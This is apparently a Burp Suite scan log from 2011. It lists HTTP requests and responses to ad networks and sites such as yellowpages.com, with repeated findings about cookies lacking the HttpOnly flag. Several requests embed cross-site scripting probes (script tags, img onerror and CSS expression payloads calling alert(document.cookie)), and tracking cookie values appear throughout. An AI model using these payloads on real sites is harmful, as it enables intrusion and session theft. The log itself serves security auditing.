HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Content-Type: image/gif Date: Wed, 19 Jan 2011 17:54:39 GMT Expires: Mon, 26 Jul 1997 05:00:00 GMT P3P: policyref="http://files.adbrite.com/w3c/p3p.xml",CP="NOI PSA PSD OUR IND UNI NAV DEM STA OTC" Server: Apache-Coyote/1.1 Set-Cookie: ut=1%3Aq1YqM1KyqlbKTq0szy9KKVayUsotTzQprDHMLja3sKwxrTE0z9dJzsiwSC80SEmtMcxJqswyqTGsMVDSUUpKzMtLLcoE61KqrQUA; Domain=.adbrite.com; Expires=Sat, 16-Jan-2021 17:54:40 GMT; Path=/ Set-Cookie: vsd="0@1@4d372560@loadus.exelator.com"; Version=1; Domain=.adbrite.com; Max-Age=172800; Path=/ Set-Cookie: srh=1%3Aq64FAA%3D%3D; Domain=.adbrite.com; Expires=Thu, 20-Jan-2011 17:54:40 GMT; Path=/ Content-Length: 42
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /delivery/ajs.php?zoneid=4&cb=37688914150&charset=UTF-8&loc=http%3A//financaspessoais.blog.br/%3Ff8184%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253Ec42c81b1212%3D1&referer=http%3A//burp/show/51 HTTP/1.1 Host: ads.myfreecomm.com.br Proxy-Connection: keep-alive Referer: http://financaspessoais.blog.br/?f8184%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ec42c81b1212=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 23:37:43 GMT Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.9 with Suhosin-Patch X-Powered-By: PHP/5.2.4-2ubuntu5.9 Pragma: no-cache Cache-Control: private, max-age=0, no-cache Expires: Mon, 26 Jul 1997 05:00:00 GMT Set-Cookie: OAID=e84bef76d0cca77f4ce1f1a3075d403a; expires=Thu, 19-Jan-2012 23:37:43 GMT; path=/ P3P: CP="CUR ADM OUR NOR STA NID" Content-Length: 1151 Connection: close Content-Type: text/javascript; charset=UTF-8
var OX_931044a6 = ''; OX_931044a6 += "<"+"a href=\'http://ads.myfreecomm.com.br/delivery/ck.php?oaparams=2__bannerid=33__zoneid=4__cb=e29ebb7f3f__oadest=http://www.myfreecomm.com.br/produtos/financemo ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /delivery/lg.php?bannerid=33&campaignid=12&zoneid=4&channel_ids=,&loc=http%3A%2F%2Ffinancaspessoais.blog.br%2F%3Ff8184%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3Ec42c81b1212%3D1&referer=http%3A%2F%2Fburp%2Fshow%2F51&cb=e29ebb7f3f HTTP/1.1 Host: ads.myfreecomm.com.br Proxy-Connection: keep-alive Referer: http://financaspessoais.blog.br/?f8184%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ec42c81b1212=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAID=e84bef76d0cca77f4ce1f1a3075d403a
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 23:38:11 GMT Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.9 with Suhosin-Patch X-Powered-By: PHP/5.2.4-2ubuntu5.9 Pragma: no-cache Cache-Control: private, max-age=0, no-cache Expires: Mon, 26 Jul 1997 05:00:00 GMT P3P: CP="CUR ADM OUR NOR STA NID" Set-Cookie: OAID=e84bef76d0cca77f4ce1f1a3075d403a; expires=Thu, 19-Jan-2012 23:38:11 GMT; path=/ Content-Length: 43 Connection: close Content-Type: image/gif
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /adserver/ako?activate&csid=K08784 HTTP/1.1 Host: ads.revsci.net Proxy-Connection: keep-alive Referer: http://www.local.com/results.aspx?keyword=law+offices&CID=2531/x22b7005%22style%3d%22x%3aexpression(alert(document.cookie))%22e433a090613 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NETID01=TSeEzxMBEwoAABzXtKIAAAAt; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d55a964&0&&4d2fe81e&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMd5U+DfxIU7WwyrNQb2zsSFn/hJiW258mwCPCWmcgin7Ykjm72mb7cpStB8YF3kI7TO6x7AobBweYSl9GZ0nXyMV0lFSlMa1jHrq+n9QT6FijETfViMfJgDyuBz0n8Hk28yO5p/fRuPzGtQPRkyu5Bc6axhObjT2cysIx+D4/NrHkSZpo4vk8w5l61U5SqdOiUvEeCZ5WrSLwN+Xq5aEPZSO2oX3vsODweKrIMy8p+ldR7d76u4sEt6RgWsfSNxtXQ1lt23lO4GrGh25UY7nMoVnrr5iAvFRtg24ViPVDowzcxt8eRODdcZiwbVc2np3WjZtoAJ1aO71nPtckWRa8VCRDcVPa+cMxvGtmbDEBHIOMyi8IUEWK0av0+4ojr1uh/umPt1bAaq4aUO4z8oENY7vBTaZSyETfDH8dVtshVbMqgt6mXZyMdxxn2bQSZVCIbYsSr7E1B995sZq2f+pJ2+M8K7OUr/r3a9SLKcxQ+lAR8cX83159adv1KgRuaALpGKRFQDil4cYbegCYXB33l6nFeV9R2FwBG2izy3Gm5I+NoOBfFFGboa7p0gM1gg8TrrRL1LoRP21v8OErLvjC/xINg6T9J1c15UckQKoakfMW6lVoLFukvaGPQXMQt3IlOXJncY9VGQY3BI0ThPnKoHx//VhhBBOENVxJVlKoRta67M24YVtuqylurRv9JKzlEWoYz0la7gmQzl6pSfsGHo6jvv6og5GuUjBC/UfRyPmP2YD/Z6MLNJ5s1pn32pCXBNuGqM/MWn0ix3FgHGlWpSEpv7Ru3AkJmVgjGyeuRwLBzeHzpYe8hv8Y=; rsi_segs_1000000=pUPFfUnF7gMUVVNGyQq6Tc2UE03EygBbRXVdvuFY1BA6MUfyIuV86Lli0TAjp7vTbarnvaHN9T2ow1lTs80IFRatyDifWyk9mf1Kh7aRP1Ys1ciYX3r+3g5rrIF04H4FAiutUjgMss6NEqGMIeSYHxakEN/DRePx1bwHrbhXzJD91WqT8N1pQYXg+GpVj1vtVjK1+AiwL4ScNYq0oKT0cw==; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d5ae6ff&0&&4d350f93&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBa40HAV7DEFZEdMKVl168Ne30F2LgIMllRLOj2CnyxLwSlYtMGPNUFv6UJ75S23vXs9VpSODtSfbRXbKeKsIfm/9vVCVRHq5E9dPOyJm5LyxhQ0JLpdlLRkRi1AuT5G8QYh4GpDTxObx7HqsmwclpQmx8PITjRXvTVnlGDfiP+KG3TuYhIgfdoMdRUNcxsYfj/XLnOWpzH6FblA==; udm_0=MLv3NVPpKSpj3p3uht7FyYbjN10zcmhKlYGgrukmLuVU97bs7miUcEYhUoOEQoW6hq+QzluB96P8Tutq8Gx/9mt2RRtWTTDFMPnlXOlgYExrUWbzd6XsS3YDB9n8sEO7rJWMBAqM62rPEc1V/be727XdvCMrTAr9wCWxHSaoTomecJyXQpHihffMuEVRzw8h3OxDNuVJgjD7Ih9Ly8ngvXt2rt4SmNQxGHu6UbQFB9GchtzgDx3nIlBpeezAjFRoVM/vHBxUmvtH+1bbl1Fl4ZdnrmM5b1W59yZWpmuOnSSf2k8PLj3aIydPWaqBjSCH4kLnkkd3V9G4pc1/iB+wt5HJPWxDEtpBQKliPLyOJqSHo3GZg11SnpmwXl2EB62oOwnJfXRIG68qmghWJ1ubkNZO3R4IUrINcOdCEzftiZjz6BFLEjMtt/bWMBlAXwgUgztsoo2ReD/q2/z4a41kA0Ypr8hKYa5H4msA1vfs8KMUJI39rh63+qDIG2f7MA7byhF9bF8U8P3xPeIB9DYWg6UQ/TE2BPMUNqktnd2vc2dilAmnnt9dcZ38/Q0Cyzd7bFlqzPGdqxg5MzrB4+r6J8c5Q0sZ/FB9HiflUF+cbGnLI6nnK2Uc9cyirS/6Md3KUSQ9eMlES7QuYhvG9NQMPPFPEgeFZVaJzY2Z3FyVapNr93Ni+GtlNI57fSPs+pJWw/lFgUYqf4s9/eIB9m3CKZDLWKxdGYeWDmGFQAfUIDoKUvXwnyf9wrwJoT/ZmJjMt9jNm1+QrjX0vap9RkKG/ygD/eKI9TYoaK5Y/J79Ulj12hC7mVVyE3wjhR0e9GaRiyqRhbuEG3Z2Ib5J8zbDEd4LC6/1dthK3LavDLQy0A5z3p/krZoaCL1QKiV9JDBOBn4j8npeNRYQzTnQhiiv9rOapvQUNE/nUhaxuRqyT9YwXp0DiJuezLHxHOAtqsBAvJ7lll2Zm7ClWHDEew07dWhx+WXkK3XEm1YAxR/7f9yvpGkXfWY1x6RuGiP7tA==
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: rsi_us_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/adserver Set-Cookie: rsi_us_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_us_1000000=pUMd5U+DfxIU7WxyXcrXePyshmL9qnycX9zb1nGBmx1V/jUVnfeldtQjUT/l9QEvuRA3QBA8Si99k9w0tzkcnzco6PEsDBDvy8d4mY8+5HZS0vDThyEYovFg0RSTcWdd5u8ZLvCmIrL4UCfpY/4L/CqrSvJCILJ1d3GZZY8xL4FE3tHR+wk8QhtzsK6CjvVfUfYAsMiJxD1Swa5MdzflySt7JaSZIPI/xOXJjGiHDa1pifHkTxTBnRG6xH+UvNOxNNGcpRK5dfBfHXqwMYaiwTTegzvXkn1AHqNkQ8GkIGXd6lFLTY6Gsow41j4IEHXPdjt/Aq5n38nCwuLkhd+RMWvpb2lwq3vhoK0qH0OLD7WDgyUcDTSgHXFgoIaTzuq4W5bHAKuZHGGL3ZP9iClrM49hCWtsijtqCZRKvMFL0WrYdeEiqLuuWhu7p8ZRZKB2xdDB75ykboN/YRnA/OXtQFdb1ljzYHwQf/Q654LJFtsdK/b1MVhjUsekLkRDh0Ura+RaQgZymGRxqHGTwV0mI8kKlYPDFQOSN4atuJ9QrAqeeSSuv23axRMTzUFDLLJvqqGCDlX9oefOvqBTtt0F/hfRzJVeonQsKJYCQDJW3kEjiqME80GbU8dSiTksQQidz0JUIJbUhbxtFTJLhyWPkvRyWkmAhjCQC0UFmEKxzWXIwnrd3/pwp2eYvBfMZ3AgrrFVBlzZmhWlG7A5zmSVP0xb82DkIwXjDDr9yYHSnRGMyBi7n2+eSxz7bXFEdPlpY6yVxmaHdtYsUjF2/hTslkfyXMX1/xCVazRLA6r0KZnIe/FyS2WsBMwCEeoeD5FejhI=; Domain=.revsci.net; Expires=Sun, 11-Jan-2043 17:54:40 GMT; Path=/ Content-Type: application/x-javascript;charset=ISO-8859-1 Vary: Accept-Encoding Date: Wed, 19 Jan 2011 17:54:39 GMT Content-Length: 822
function rsi_img(p,u,c){if(u.indexOf(location.protocol)==0){var i=new Image(2,3);if(c){i.onload=c;} i.src=u;p[p.length]=i;}} function rsi_simg(p,s,i){if(i<s.length){rsi_img(p,s[i],function(){rsi_sim ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /cf?con=41cafe7%2B34f5e64%2Bb3b11e8&rand=1295459680369&sid=&xurl= HTTP/1.1 Host: ads.roiserver.com Proxy-Connection: keep-alive Referer: http://ads.roiserver.com/disp?pid=2DFE311&rand=22153025 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: max-age=0,no-cache,no-store Pragma: no-cache Expires: Tue, 11 Oct 1977 12:34:56 GMT SAdBuild: 400 P3P: CP="NON DEVa PSAa PSDa OUR NOR NAV",policyref="/w3c/p3p.xml" Set-Cookie: sadsp-2DFE311="41cafe7/129545968,34f5e64/129545968,b3b11e8/129545968"; Version=1; Domain=ads.roiserver.com; Max-Age=87840; Expires=Thu, 20-Jan-2011 18:18:42 GMT; Path=/ Content-Type: image/gif Content-Length: 807 Date: Wed, 19 Jan 2011 17:54:42 GMT Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /click?clid=41cafe7&rand=1295459680368&sid= HTTP/1.1 Host: ads.roiserver.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: sadsp-2DFE311="41cafe7/129545968,34f5e64/129545968,b3b11e8/129545968";
Response
HTTP/1.1 302 Moved Temporarily Server: Apache-Coyote/1.1 Cache-Control: max-age=0,no-cache,no-store Pragma: no-cache Expires: Tue, 11 Oct 1977 12:34:56 GMT SAdBuild: 400 P3P: CP="NON DEVa PSAa PSDa OUR NOR NAV",policyref="/w3c/p3p.xml" Set-Cookie: sadscpax=41cafe7-; Domain=ads.roiserver.com; Expires=Thu, 20-Jan-2011 18:29:21 GMT; Path=/ Location: http://clkrd.com/ad.php?o=acai Content-Length: 0 Date: Wed, 19 Jan 2011 18:05:21 GMT Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /click/v=5;m=2;l=6068;c=124305;b=741958;p=ui=uosDj9Liw_xRTA;tr=_cDzYUJFCKD;tm=0-0;ts=20110119125442;dct= HTTP/1.1 Host: ads.specificmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: smu=4035.928757113086138685;
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:05:25 GMT Server: Apache/2.2.15 (Unix) DAV/2 mod_perl/2.0.4 Perl/v5.10.0 Set-cookie: smu=5041.928757113086138685; domain=.specificmedia.com; path=/; expires=Thu, 24-Dec-2015 18:05:25 GMT P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI NAV" Content-Length: 1 Expires: Tue, 18 Jan 2011 18:05:25 GMT Cache-Control: no-cache,must-revalidate Pragma: no-cache Connection: close Content-Type: text/plain
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /serve/v=5;m=2;l=6068;cxt=;kw=;ts=925946;smuid=uosDj9Liw_xRTA;p=ui%3DuosDj9Liw_xRTA%3Btr%3D_cDzYUJFCKD%3Btm%3D0-0 HTTP/1.1 Host: ads.specificmedia.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: smu=5031.928757113086138685
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 17:54:42 GMT Server: Apache/2.2.15 (Unix) DAV/2 mod_perl/2.0.4 Perl/v5.10.0 Set-cookie: smu=4035.928757113086138685; domain=.specificmedia.com; path=/; expires=Thu, 24-Dec-2015 17:54:42 GMT P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI NAV" Content-Length: 302 Expires: Tue, 18 Jan 2011 17:54:42 GMT Cache-Control: no-cache,must-revalidate Pragma: no-cache Connection: close Content-Type: application/x-javascript
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /select/Login?sourceid=awo&subid=us-en-et-symh&medium=link&hl=en HTTP/1.1 Host: adwords.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /?l=6068&sz=728x90&wr=j&t=j&u=&r=&rnd=786189 HTTP/1.1 Host: afe.specificclick.net Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: adp=74ry^2^7; smdmp=75W4:99002797^75W4:99004740^74ry:104201102^74ry:811200901^74Xd:99063500; adf=74ry^0^0; ug=uosDj9Liw_xRTA
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-store,no-cache,must-revalidate Cache-Control: post-check=0,pre-check=0 Pragma: no-cache p3p: policyref="http://www.specificmedia.com/w3c/p3p.xml", CP="NON DSP COR ADM DEV PSA PSD IVA OUT BUS STA" Set-Cookie: adp=77DH^0^31; Domain=.specificclick.net; Expires=Thu, 19-Jan-2012 17:54:40 GMT; Path=/ Set-Cookie: ug=uosDj9Liw_xRTA; Domain=.specificclick.net; Expires=Thu, 19-Jan-2012 17:54:40 GMT; Path=/ Set-Cookie: smdmp=75W4:99002797^75W4:99004740^74ry:104201102^74ry:811200901^74Xd:99063500; Domain=.specificclick.net; Expires=Thu, 19-Jan-2012 17:54:40 GMT; Path=/ Set-Cookie: adf=77DH^0^0; Domain=.specificclick.net; Expires=Thu, 19-Jan-2012 17:54:40 GMT; Path=/ p3p: policyref="http://www.specificmedia.com/w3c/p3p.xml", CP="NON DSP COR ADM DEV PSA PSD IVA OUT BUS STA" Set-Cookie: ug=uosDj9Liw_xRTA; Domain=.specificclick.net; Expires=Thu, 19-Jan-2012 17:54:40 GMT; Path=/ p3p: policyref="http://www.specificmedia.com/w3c/p3p.xml", CP="NON DSP COR ADM DEV PSA PSD IVA OUT BUS STA" Set-Cookie: nug=; Domain=.specificclick.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Content-Type: text/html Date: Wed, 19 Jan 2011 17:54:40 GMT Vary: Accept-Encoding Connection: Keep-Alive Content-Length: 244
var sm_random=Math.ceil(1000000*Math.random());document.write("<SCRI"+"PT src='http://ads.specificmedia.com/serve/v=5;m=2;l=6068;cxt=;kw=;ts="+sm_random+";smuid=uosDj9Liw_xRTA;p=ui%3DuosDj9Liw_xRTA%3B ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: att.my.yahoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 16:57:32 GMT Set-Cookie: B=ed2umi56je5vs&b=3&s=1r; expires=Tue, 19-Jan-2013 20:00:00 GMT; path=/; domain=.yahoo.com P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" Location: /?_bc=1 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Cache-Control: private Content-Length: 81
<!-- p386.my.re1.yahoo.com uncompressed/chunked Wed Jan 19 08:57:32 PST 2011 -->
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /b?c1=2&c2=6035991&rn=57307763&c7=http%3A%2F%2Fwww.yellowpages.com%2FWashington-DC74302%253Cimg%2520src%253da%2520onerror%253dalert(1)%253E9c7a66be0e0%2FAttorneys&c8=No%20Location%20Found%20-%20YP.com&c9=http%3A%2F%2Fburp%2Fshow%2F1&cv=2.2&cs=js HTTP/1.1 Host: b.scorecardresearch.com Proxy-Connection: keep-alive Referer: http://www.yellowpages.com/Washington-DC74302%3Cimg%20src%3da%20onerror%3dalert(1)%3E9c7a66be0e0/Attorneys Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: UID=1f00d615-24.143.206.88-1294170954
Response
HTTP/1.1 204 No Content Content-Length: 0 Date: Wed, 19 Jan 2011 15:26:51 GMT Connection: close Set-Cookie: UID=1f00d615-24.143.206.88-1294170954; expires=Fri, 18-Jan-2013 15:26:51 GMT; path=/; domain=.scorecardresearch.com P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID OUR IND COM STA OTC" Expires: Mon, 01 Jan 1990 00:00:00 GMT Pragma: no-cache Cache-Control: private, no-cache, no-cache=Set-Cookie, no-store, proxy-revalidate Server: CS
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /books HTTP/1.1 Host: books.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:20:45 GMT Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Content-Type: text/html; charset=UTF-8 Set-Cookie: PREF=ID=6fd5bdb8c0f15bdb:TM=1295450445:LM=1295450445:S=3txz1grSHdfgEtyb; expires=Fri, 18-Jan-2013 15:20:45 GMT; path=/; domain=.google.com X-Content-Type-Options: nosniff Server: OFE/0.1 Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /search HTTP/1.1 Host: br.search.yahoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:05:55 GMT Set-Cookie: B=9sb75f16jea03&b=3&s=s3; expires=Tue, 19-Jan-2013 20:00:00 GMT; path=/; domain=.yahoo.com P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" Set-Cookie: sSN=bKqD4Yg2wWEl7nquCppHANWNh4aYiHZyF56IWRcBmJSYwvtVOl5hwVXTSG7fjBf_kbLWJnDjs0F1gnQT_t7Bag--; path=/; domain=.search.yahoo.com Location: http://br.search.yahoo.com/web?fr= Cache-Control: private Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 89
<!-- fe06.gsp.search.ac2.yahoo.com uncompressed/chunked Wed Jan 19 10:05:55 PST 2011 -->
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /2/p/webyp?rid=d-676e34f0-060e-012e-f149-00237da0d626 HTTP/1.1 Host: c.ypcdn.com Proxy-Connection: keep-alive Referer: http://www.yellowpages.com/Washington-DC74302%3Cimg%20src%3da%20onerror%3dalert(document.cookie)%3E9c7a66be0e0/Attorneys Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:26:39 GMT Status: 200 OK Connection: keep-alive Content-Type: image/gif Content-Length: 43 Last-Modified: Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: tuid=73586387-a52f-48ef-ae89-d7d353f7bee0; path=/; expires=Thu, 19-Jan-2012 15:26:39 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /go/284152846/direct;ai.196212142;ct.$num$/01/ HTTP/1.1 Host: REDACTED.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Object moved Cache-Control: no-store Content-Length: 0 Expires: 0 Location: http://www6.homedepot.com/homeservices/windows_ola/index.html?cm_mmc=ola-_-HomeServices-_-Interclick-_-ROIHDAS-_-Windows-_-728x90 P3P: CP="NOI DSP COR CUR ADM DEV TAIo PSAo PSDo OUR BUS UNI PUR COM NAV INT DEM STA PRE OTC" Set-Cookie: AA002=001295460388-9211212; expires=Friday, 18-Jan-2013 00:00:00 GMT; path=/; domain=REDACTEDcom Set-Cookie: MUID=8437D6560E254074ADF80D9B70226474; expires=Sunday, 07-Aug-2011 00:00:00 GMT; path=/; domain=REDACTEDcom Set-Cookie: ach00=d748/2632; expires=Friday, 18-Jan-2013 00:00:00 GMT; path=/; domain=REDACTEDcom Set-Cookie: ach01=bb1f5ae/2632/10efd40e/d748/4d372824; expires=Friday, 18-Jan-2013 00:00:00 GMT; path=/; domain=REDACTEDcom Connection: close Date: Wed, 19 Jan 2011 18:06:28 GMT Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /p/swfobject/ HTTP/1.1 Host: code.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following cookies were issued by the application and do not have the HttpOnly flag set:
sAppPath=contact.collinscollege.edu; path=/
defaultcampaignid=24418; path=/
sDocument=college-degrees.aspx; path=/
CultureUI=en-us; path=/
CampaignSchoolId=168186; path=/
siteid=se1+sn; path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /college-degrees.aspx?src=168186&siteid=se1+sn&client=ca-dp-sphere_related_xml HTTP/1.1 Host: contact.collinscollege.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /r/du/id/L21rdC80L3NwaWQvMQ/rnd//url/http%3A%2F%2Ftags.bluekai.com%2Fsite%2F2800%3Fid=PARTNER_UUID HTTP/1.1 Host: d.p-td.com Proxy-Connection: keep-alive Referer: http://tags.bluekai.com/site/857?ret=html&phint=q%3DAttorneys&phint=__bk_t%3DNo%20Location%20Found%20-%20YP.com&limit=4&r=16287612 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=4044268024581976328
Response
HTTP/1.1 302 Moved Temporarily Server: Apache-Coyote/1.1 P3P: policyref="http://ad.turn.com/w3c/p3p.xml", CP="NOI CURa DEVa TAIa PSAa PSDa IVAa IVDa OUR IND UNI NAV" Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Set-Cookie: uid=4044268024581976328; Domain=.p-td.com; Expires=Mon, 18-Jul-2011 15:26:50 GMT; Path=/ Location: http://d.turn.com/r/dm/mkt/4/mpid//mpuid/4044268024581976328/nu/n/url/http%3A%2F%2Ftags.bluekai.com%2Fsite%2F2800%3Fid%3D4044268024581976328 Content-Length: 0 Date: Wed, 19 Jan 2011 15:26:49 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
